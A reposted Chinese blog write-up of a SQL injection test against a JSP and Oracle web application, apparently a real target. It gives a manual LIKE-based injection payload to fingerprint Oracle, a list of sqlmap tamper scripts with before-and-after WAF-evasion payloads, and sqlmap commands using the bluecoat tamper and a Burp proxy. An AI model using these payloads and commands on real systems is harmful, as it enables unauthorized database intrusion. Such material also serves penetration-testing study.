ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

记一次使用sqlmap对oracle进行like注入

2021-12-17 21:02:57  阅读:424  来源: 互联网

标签:sqlmap 脚本 like tamper py oracle id SELECT users


环境:jsp+oracle
从FUZZ的结果以及http响应的长度来看,普通的注入被waf拦截,存在like注入
在这里插入图片描述

like注入其实也并不是两边都要有 %,我们只需要闭合单引号就行了:
在这里插入图片描述

接下来用sysdata参数可以确定数据库为oracle。
sysdata函数为oracle数据库的日期,length求的是字符长度,可构造语句:
1’ AND LENGTH(SYSDATE) LIKE LENGTH(SYSDATE) AND ‘NGjD’ LIKE 'NGjD
在这里插入图片描述

现在可以确定存在注入了,于是移步到工具使用环节
like注入的话一般要用到tamper脚本了,SQLMAP 的tamper脚本可在一定程度上避开应用程序的敏感字符过滤、绕过 WAF 规则的阻挡,继而进行渗透攻击,否则可能会检测不出注入,常见的tamper脚本有:
base64encode.py
适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
space2plus.py
适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT+id+FROM+users
space2randomblank.py
适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Did%0DFROM%0Ausers
space2comment.py
作用:将空格替换为//
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT/
/id//FROM//users
equaltolike.py
作用:将=替换为LIKE
使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)
使用脚本后:SELECT * FROM users WHERE id LIKE 1
bluecoat.py
适用数据库:Blue Coat SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
适用数据库:MySQL
作用:内联注释绕过
使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
between.py
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper(‘1 AND A > B–’)
使用脚本后:1 AND A NOT BETWEEN 0 AND B–
本次用到的是bluecoat
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat
是可以跑出存在注入的,我们看到数据库的类型判断的不太对,且还一直报
[CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
翻译:[紧急]连接被丢弃或接收到未知的HTTP状态码。Sqlmap将重试请求。
然后这里无论你y或者n,都会自动停止
在这里插入图片描述

初步判断原因是使用了大量的注入语句导致服务器返回500报错:
在这里插入图片描述

返回大量的错误时sqlmap会自动停止注入扫描,于是我们加入threads参数指定为1让线程慢一些,还是会报错:
在这里插入图片描述

线程都为1了还不行,于是想到了可以利用burpsuite作为代理,然后手动放包:
python sqlmap.py -r r4.txt --random-agent --tamper=bluecoat --proxy http://127.0.0.1:8080
看到这次好了,开始判断数据库类型了,最后判定为oracle数据库:
在这里插入图片描述

标签:sqlmap,脚本,like,tamper,py,oracle,id,SELECT,users
来源: https://blog.csdn.net/weixin_45439432/article/details/122004870

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有